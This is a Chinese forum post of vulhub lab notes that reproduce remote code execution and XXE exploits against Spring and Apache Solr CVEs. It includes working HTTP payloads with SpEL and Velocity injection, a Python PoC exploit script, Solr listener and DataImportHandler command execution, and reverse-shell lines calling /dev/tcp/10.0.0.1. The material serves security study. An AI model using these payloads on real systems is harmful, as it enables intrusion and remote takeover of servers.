|
楼主 |
发表于 2021-11-30 22:16:32
|
显示全部楼层
至此,vulhub靶场已经全部看过一遍(有一部分没有发出来是因为因为系统原因没有成功搭建环境,后面再慢慢把剩下的做完。)
打算从明天开始开始看看编程(语言)方面的东西了
# Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
环境启动后,访问 http://your-ip:8080/users,将可以看到一个用户注册页面。
![image-20211130220132636](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130220132636.png)
```
user0 - $2a$10$HbS1UKDOkD2nQ.ryeAE3guq5EI.w59ERkrEk7vVpyXne36Cg7zcqG
user1 - $2a$10$rdzLRFF/1ed6grV9t2wIhOJM7h/rro19hVo0Tl9vrI9gGvxYlXF0i
user2 - $2a$10$2ZYc36lTDC2TAjAdPpdN3ujnrAUC.ZIBBf1bsrffH.38rYWkehSEG
user3 - $2a$10$FEyMBOTDD9KGVIvLuD3N1eSEKc11NLRn3BSqmC9fFa8wMqe9Ku9QS
user4 - $2a$10$ibxY8qlDFkrZDd0XaINB6.qjYkJK0YmZBEzbSsPmRE0.usLLGNywi
```
参考前面链接中的 Payload,在注册的时候抓包,并修改成如下数据包:
```
POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
```
![image-20211130220232596](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130220232596.png)
点击forward后,得到如下信息:
```
Whitelabel Error Page
This application has no explicit mapping for /error, so you are seeing this as a fallback.
Tue Nov 30 14:02:55 UTC 2021
There was an unexpected error (type=Internal Server Error, status=500).
Invalid property 'username' of bean class [example.users.web.$Proxy91]: Getter for property 'username' threw exception; nested exception is java.lang.reflect.InvocationTargetException
```
![image-20211130220315001](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130220315001.png)
执行
```
docker-compose exec spring bash
```
进入容器中,可见成功创建 /tmp/success,说明命令执行成功:
![image-20211130220355976](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130220355976.png)
```
docker-compose exec spring bash
root@ee79b27bb09d:/# ls -al /tmp
total 24
drwxrwxrwt 1 root root 4096 Nov 30 14:02 .
drwxr-xr-x 1 root root 4096 Nov 30 13:59 ..
drwxr-xr-x 1 root root 4096 Nov 30 13:59 hsperfdata_root
-rw-r--r-- 1 root root 0 Nov 30 14:02 success
drwxr-xr-x 2 root root 4096 Nov 30 13:59 tomcat-docbase.4268668909928004027.8080
drwxr-xr-x 3 root root 4096 Nov 30 13:59 tomcat.1939611215524989570.8080
```
# Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
环境启动后,访问 http://your-ip:8080 即可看到一个 Web 页面。
网上大部分文章都说 spring messaging 是基于 websocket 通信,其实不然。spring messaging 是基于 sockjs(可以理解为一个通信协议),而 sockjs 适配多种浏览器:现代浏览器中使用 websocket 通信,老式浏览器中使用 ajax 通信。
连接后端服务器的流程,可以理解为:
用 STOMP 协议将数据组合成一个文本流
用 sockjs 协议发送文本流,sockjs 会选择一个合适的通道:websocket 或 xhr (http),与后端通信
所以我们可以使用 http 来复现漏洞,称之为 “降维打击”。
我编写了一个简单的 POC 脚本 exploit.py(需要用 python3.6 执行),因为该漏洞是订阅的时候插入 SpEL 表达式,而对方向这个订阅发送消息时才会触发,所以我们需要指定的信息有:
> 基础地址,在 vulhub 中为 http://your-ip:8080/gs-guide-websocket
> 待执行的 SpEL 表达式,如 T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
> 某一个订阅的地址,如 vulhub 中为:/topic/greetings
> 如何触发这个订阅,即如何让后端向这个订阅发送消息。在 vulhub 中,我们向 /app/hello 发送一个包含 name 的 json,即可触发这个事件。当然在实战中就不同了,所以这个 poc 并不具有通用性。
访问地址:http://your-ip:8080/gs-guide-websocket
![image-20211130215315765](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130215315765.png)
```
Welcome to SockJS!
```
根据你自己的需求修改 POC。如果是 vulhub 环境,你只需修改 1 中的 url 即可。
poc代码如下:
```
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)
def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)
def send(self, command, headers, body=''):
data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")
def __del__(self):
self.session.close()
sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
'id': 'sub-0',
'destination': '/topic/greetings'
})
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)
```
执行:
```
./exploit.py
INFO:root:send 'connect' data success.
INFO:root:send 'subscribe' data success.
INFO:root:send 'send' data success.
```
![image-20211130215655925](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130215655925.png)
进入容器
```
docker-compose exec spring bash
```
可见 /tmp/success 已成功创建:
![image-20211130215725188](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130215725188.png)
```
docker-compose exec spring bash
root@3dffd5ee5248:/# ls -al /tmp
total 24
drwxrwxrwt 1 root root 4096 Nov 30 13:55 .
drwxr-xr-x 1 root root 4096 Nov 30 13:40 ..
drwxr-xr-x 1 root root 4096 Nov 30 13:40 hsperfdata_root
-rw-r--r-- 1 root root 0 Nov 30 13:55 success
drwxr-xr-x 2 root root 4096 Nov 30 13:40 tomcat-docbase.5274282439693286739.8080
drwxr-xr-x 3 root root 4096 Nov 30 13:40 tomcat.5309309978972699749.8080
```
# Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
等待环境启动完成,然后访问 http://your-ip:8080/ 即可看到 json 格式的返回值,说明这是一个 Restful 风格的 API 服务器。
![image-20211130213525148](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130213525148.png)
访问 http://your-ip:8080/customers/1,看到一个资源:
![image-20211130213550351](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130213550351.png)
```
firstname "Dave"
lastname "Matthews"
gender "MALE"
address
street "4711 Some Place"
zipCode "54321"
city "Charlottesville"
state "VA"
_links
self
href "http://127.0.0.1:8080/customers/1"
customer
href "http://127.0.0.1:8080/customers/1"
```
我们使用 PATCH 请求来修改之:
```
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
```
得到如下信息:
![image-20211130213828127](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130213828127.png)
path 的值是 SpEL 表达式,发送上述数据包,将执行
```
new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}
```
表示的命令
```
touch /tmp/success
```
然后进入容器
```
docker-compose exec spring bash
```
看看:
![image-20211130213851828](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130213851828.png)
```
docker-compose exec spring bash
root@bd3c31cb3934:/# ls /tmp
hsperfdata_root success tomcat-docbase.4844392924623276408.8080 tomcat.9020734524709781446.8080
```
可见,success 成功创建。
将 bytecode 改成反弹 shell 的命令(注意:Java 反弹 shell 的限制与绕过方式:https://www.jackson-t.ca/runtime-exec-payloads.html),即可成功弹回
# Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
等待环境启动后,访问 http://your-ip:8080,将看到一个酒店预订的页面,这是 spring-webflow 官方给的简单示例:
![image-20211130212648674](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130212648674.png)
首先访问 http://your-ip:8080/login,用页面左边给出的任意一个账号 / 密码登录系统:
![image-20211130212658679](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130212658679.png)
然后访问 id 为 1 的酒店 http://your-ip:8080/hotels/1,点击预订按钮 “Book Hotel”,填写相关信息后点击 “Process”(从这一步,其实 WebFlow 就正式开始了):
![image-20211130212723422](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130212723422.png)
这些是账号密码:
```
keith/melbourne
erwin/leuven
jeremy/atlanta
scott/rochester
```
![image-20211130212905089](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130212905089.png)
![image-20211130212919275](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130212919275.png)
再点击确认 “Confirm”:
![image-20211130212930891](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130212930891.png)
此时抓包,抓到一个 POST 数据包,我们向其中添加一个字段(也就是反弹 shell 的 POC):
```
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub
(注意:别忘记 URL 编码)
```
![image-20211130213055859](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130213055859.png)
```
POST /hotels/booking?execution=e2s2 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 158
Origin: http://127.0.0.1:8080
Connection: close
Referer: http://127.0.0.1:8080/hotels/booking?execution=e2s2
Cookie: csrftoken=Nm7bpILExMBfV8xOArhuh0D10Oov2jmUMc79gkBd5hLFRgSs0yJA6sgOdka2f7T8; JSESSIONID=20EEA2CD5438AE6286EDF61A6B0F38C8
Upgrade-Insecure-Requests: 1
_eventId_confirm=&_csrf=0b306264-30b3-49a0-b37c-b194a01162df_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhu
```
成功执行,获得 shell
![image-20211130213150068](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130213150068.png)
```
HTTP/1.1 403 Forbidden
Server: Apache-Coyote/1.1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 1418
Date: Tue, 30 Nov 2021 13:31:05 GMT
Connection: close
<!DOCTYPE html><html><head><title>Apache Tomcat/8.0.43 - Error report</title><style type="text/css">H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}.line {height: 1px; background-color: #525D76; border: none;}</style> </head><body><h1>HTTP Status 403 - Invalid CSRF Token '0b306264-30b3-49a0-b37c-b194a01162df_(new java.lang.ProcessBuilder("bash","-c","bash -i >' was found on the request parameter '_csrf' or header 'X-CSRF-TOKEN'.</h1><div class="line"></div><p><b>type</b> Status report</p><p><b>message</b> <u>Invalid CSRF Token '0b306264-30b3-49a0-b37c-b194a01162df_(new java.lang.ProcessBuilder("bash","-c","bash -i >' was found on the request parameter '_csrf' or header 'X-CSRF-TOKEN'.</u></p><p><b>description</b> <u>Access to the specified resource has been forbidden.</u></p><hr class="line"><h3>Apache Tomcat/8.0.43</h3></body></html>
```
# Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
启动完成后,访问 http://your-ip:8080/ 即可看到 web 页面。
![image-20211130210709252](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130210709252.png)
访问 http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test。首先需要填写用户名和密码,我们这里填入 admin:admin 即可:
![image-20211130210755398](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130210755398.png)
可见,我们输入是 SpEL 表达式 ${233*233} 已经成功执行并返回结果:
![image-20211130210813555](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130210813555.png)
```
OAuth Error
error="unsupported_response_type", error_description="Unsupported response types: [54289]"
```
然后,我们使用 poc.py 来生成反弹 shell 的 POC(注意:Java 反弹 shell 的限制与绕过方式:https://www.jackson-t.ca/runtime-exec-payloads.html):
poc代码如下:
```
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
```
![image-20211130211808986](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130211808986.png)
如上图,生成了一大串 SpEL 语句:
```
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}
```
附带上这个 SpEL 语句,访问成功弹回 shell
。
# Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)
服务启动后,访问 http://your-ip:8983 即可查看到一个无需权限的 Apache Solr 服务。
![image-20211130205613995](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130205613995.png)
默认情况下 **params.resource.loader.enabled** 配置未打开,无法使用自定义模板。我们先通过如下 API 获取所有的核心:
```
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
```
![image-20211130205651571](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130205651571.png)
```
{
"responseHeader":{
"status":0,
"QTime":0},
"initFailures":{},
"status":{
"demo":{
"name":"demo",
"instanceDir":"/var/solr/data/demo",
"dataDir":"/var/solr/data/demo/data/",
"config":"solrconfig.xml",
"schema":"managed-schema",
"startTime":"2021-11-30T12:53:53.685Z",
"uptime":167660}}}
```
Vulhub 里唯一的核心是 demo:
通过如下请求开启 **params.resource.loader.enabled**,其中 API 路径包含刚才获取的 core 名称:
```
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
```
得到如下页面:
```
{
"responseHeader":{
"status":0,
"QTime":3042},
"WARNING":"This response format is experimental. It is likely to change in the future."}
```
![image-20211130210011488](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130210011488.png)
之后,注入 Velocity 模板即可执行任意命令:
```
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
```
得到如下信息:
![image-20211130210032156](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130210032156.png)
```
0 uid=8983(solr) gid=8983(solr) groups=8983(solr)
```
# Apache Solr 远程命令执行漏洞(CVE-2019-0193)
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在 Apache Solr 的 DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的 DIH 配置都可以通过外部请求的 dataConfig 参数来设置。由于 DIH 配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。
运行漏洞环境:
```
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
```
命令执行成功后,需要等待一会,之后访问 http://your-ip:8983/ 即可查看到 Apache solr 的管理页面,无需登录。
打开后是这样的:
![image-20211130202828403](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130202828403.png)
如上图所示,首先打开刚刚创建好的 test 核心,选择 Dataimport 功能并选择 debug 模式:
(记得勾选上clean、commit、以及debug选项)
![image-20211130204035586](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130204035586.png)
填入以下 POC:
```
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
```
![image-20211130204539694](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130204539694.png)
点击 **Execute with this Confuguration** 后,将数据包修改为如下内容:
```
POST /solr/test/dataimport?_=1565835261600&indent=on&wt=json HTTP/1.1
Host: localhost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 679
Connection: close
Referer: http://localhost:8983/solr/
Cookie: csrftoken=gzcSR6Sj3SWd3v4ZxmV5OcZuPKbOhI6CMpgp5vIMvr5wQAL4stMtxJqL2sUE8INi; sessionid=snzojzqa5zn187oghf06z6xodulpohpr
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport
```
![image-20211130204742324](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130204742324.png)
执行 docker-compose exec solr ls /tmp,可见 /tmp/success 已成功创建:
```
docker-compose exec solr bash
solr@63eb300f7325:/opt/solr-8.1.1$ ls /tmp
gnupg_home hsperfdata_root hsperfdata_solr jetty-0.0.0.0-8983-webapp-_solr-any-9253252445357285133.dir start_12196526144997497806.properties
solr@63eb300f7325:/opt/solr-8.1.1$ ls /tmp
gnupg_home hsperfdata_root hsperfdata_solr jetty-0.0.0.0-8983-webapp-_solr-any-9253252445357285133.dir start_12196526144997497806.properties success
```
![image-20211130204756299](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130204756299.png)
# Apache Solr 远程命令执行漏洞(CVE-2017-12629)
打开后和上一个漏洞的页面一样,然后我才发现,这俩的CVE编号一样。。。。
> Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过 Http 利用 XML 加到一个搜索集合中。查询该集合也是通过 http 收到一个 XML/JSON 响应来实现。此次 7.1.0 之前版本总共爆出两个漏洞:XML 实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为 CVE-2017-12629。
>
> 本环境测试 RCE 漏洞。
打开后是这样的:
![image-20211130201453534](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130201453534.png)
用burpsuite抓包,将数据包修改为如下内容:
```
POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158
{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}
```
然后进行 update 操作,触发刚才添加的 listener:
```
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15
[{"id":"test"}]
```
执行 `docker-compose exec solr bash` 进入容器,可见 `/tmp/success` 已成功创建:
```
docker-compose exec solr bash
solr@9bd045208f83:/opt/solr$ ls -al /tmp
total 24
drwxrwxrwt 1 root root 4096 Nov 30 12:16 .
drwxr-xr-x 1 root root 4096 Nov 30 12:13 ..
drwxr-xr-x 1 root root 4096 Nov 4 2017 hsperfdata_root
drwxr-xr-x 2 solr solr 4096 Nov 30 12:13 hsperfdata_solr
drwxr-xr-x 2 solr solr 4096 Nov 30 12:13 jetty-0.0.0.0-8983-webapp-_solr-any-6852246268375770645.dir
-rw------- 1 solr solr 165 Nov 30 12:13 start_6440130829161925491.properties
-rw-r--r-- 1 solr solr 0 Nov 30 12:16 success
```
![image-20211130201813100](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130201813100.png)
# Apache solr XML 实体注入漏洞(CVE-2017-12629)
命令执行成功后,需要等待一会,之后访问 http://your-ip:8983/ 即可查看到 Apache solr 的管理页面,无需登录。
![image-20211130144642415](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130144642415.png)
由于返回包中不包含我们传入的 XML 中的信息,所以这是一个 Blind XXE 漏洞,我们发送如下数据包(自行修改其中的 XXE Payload):
```
GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2Fbaidu.com%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: 127.0.0.1:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```
可接受到 Java 发来的请求:
利用 Error Based XXE 读取文件:
|
|